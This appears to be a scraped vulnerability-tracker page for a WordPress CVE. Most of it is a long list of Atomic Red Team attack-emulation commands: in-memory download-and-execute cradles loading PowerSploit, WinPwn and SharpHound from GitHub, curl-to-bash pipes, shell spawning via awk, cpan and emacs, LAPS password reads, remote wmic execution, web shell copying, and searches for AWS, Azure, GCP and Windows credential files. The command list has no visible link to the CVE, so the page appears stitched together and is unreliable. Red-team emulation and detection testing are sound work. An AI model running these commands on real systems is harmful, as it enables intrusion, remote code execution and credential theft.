Set-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use -Value "T1086 PowerShell Session Creation and Use"
Get-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
Remove-Item -Force $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
iex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)
Invoke-AllChecks
powershell.exe -exec bypass -noprofile "$comMsXml=New-Object -ComObject MsXml2.ServerXmlHttp;$comMsXml.Open('GET','#{url}',$False);$comMsXml.Send();IEX $comMsXml.ResponseText"
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -noprofile "$Xml = (New-Object System.Xml.XmlDocument);$Xml.Load('#{url}');$Xml.command.a.execute | IEX"
C:\Windows\system32\cmd.exe /c "mshta.exe javascript:a=GetObject('script:#{url}').Exec();close()"
import-module "PathToAtomicsFolder\..\ExternalPayloads\SharpHound.ps1"
try { Invoke-BloodHound -OutputDirectory $env:Temp }
catch { $_; exit $_.Exception.HResult}
Start-Sleep 5
write-host "Remote download of SharpHound.ps1 into memory, followed by execution of the script" -ForegroundColor Cyan
IEX (New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/804503962b6dc554ad7d324cfa7f2b4a566a14e2/Ingestors/SharpHound.ps1');
Invoke-BloodHound -OutputDirectory $env:Temp
Start-Sleep 5
#{soaphound_path} --user $(#{user})@$(#{domain}) --password #{password} --dc #{dc} --buildcache --cachefilename #{cachefilename}
#{soaphound_path} --user #{user} --password #{password} --domain #{domain} --dc #{dc} --bhdump --cachefilename #{cachefilename} --outputdirectory #{outputdirectory}
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
ldapdomaindump -u #{username} -p #{password} #{target_ip} -o /tmp/T1087
ldapsearch -H ldap://#{domain}.#{top_level_domain}:389 -x -D #{user} -w #{password} -b "CN=Users,DC=#{domain},DC=#{top_level_domain}" -s sub -a always -z 1000 dn
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -sc admincountdmp #{optional_args}
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -sc exchaddresses #{optional_args}
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -f (objectcategory=person) #{optional_args}
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -default -s base lockoutduration lockoutthreshold lockoutobservationwindow maxpwdage minpwdage minpwdlength pwdhistorylength pwdproperties
Invoke-Expression "#{adrecon_path}"
([adsisearcher]"objectcategory=user").FindAll(); ([adsisearcher]"objectcategory=user").FindOne()
Get-ADObject -LDAPFilter '(UserAccountControl:1.2.840.113556.1.4.803:=#{uac_prop})' -Server #{domain}
net user administrator /domain
(([adsisearcher]'(objectcategory=organizationalunit)').FindAll()).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] OU Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }}
(([adsisearcher]'').SearchRooT).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] Domain Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }}
net user /domain
net group /domain
net user /domain
get-localgroupmember -group Users
get-aduser -filter *
query user /SERVER:#{computer_name}
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainUser -verbose
cd "PathToAtomicsFolder\..\ExternalPayloads"
.\kerbrute.exe userenum -d #{Domain} --dc #{DomainController} "PathToAtomicsFolder\..\ExternalPayloads\username.txt"
Get-ADComputer #{hostname} -Properties *
Get-adcomputer -SearchScope subtree -filter "name -like '*'" -Properties *
Get-ADComputer #{hostname} -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
& "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -h #{domain} -s subtree -f "objectclass=computer" *
& "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -h #{domain} -s subtree -f "objectclass=computer" ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
$target = $env:LOGONSERVER
$target = $target.Trim("\\")
$IpAddress = [System.Net.Dns]::GetHostAddresses($target) | select IPAddressToString -ExpandProperty IPAddressToString
wmic.exe /node:$IpAddress process call create 'wevtutil epl Security C:\\ntlmusers.evtx /q:\"Event[System[(EventID=4776)]]"'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
generaldomaininfo -noninteractive -consoleoutput
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2026-63030 |
| github.com |
GitHub CVE
vdb-entry
technical-description
|
https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-ff9f-jf42-662q |
| wordpress.org |
GitHub CVE
release-notes
vendor-advisory
|
https://wordpress.org/news/2026/07/wordpress-7-0-2-release/ |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-63030 |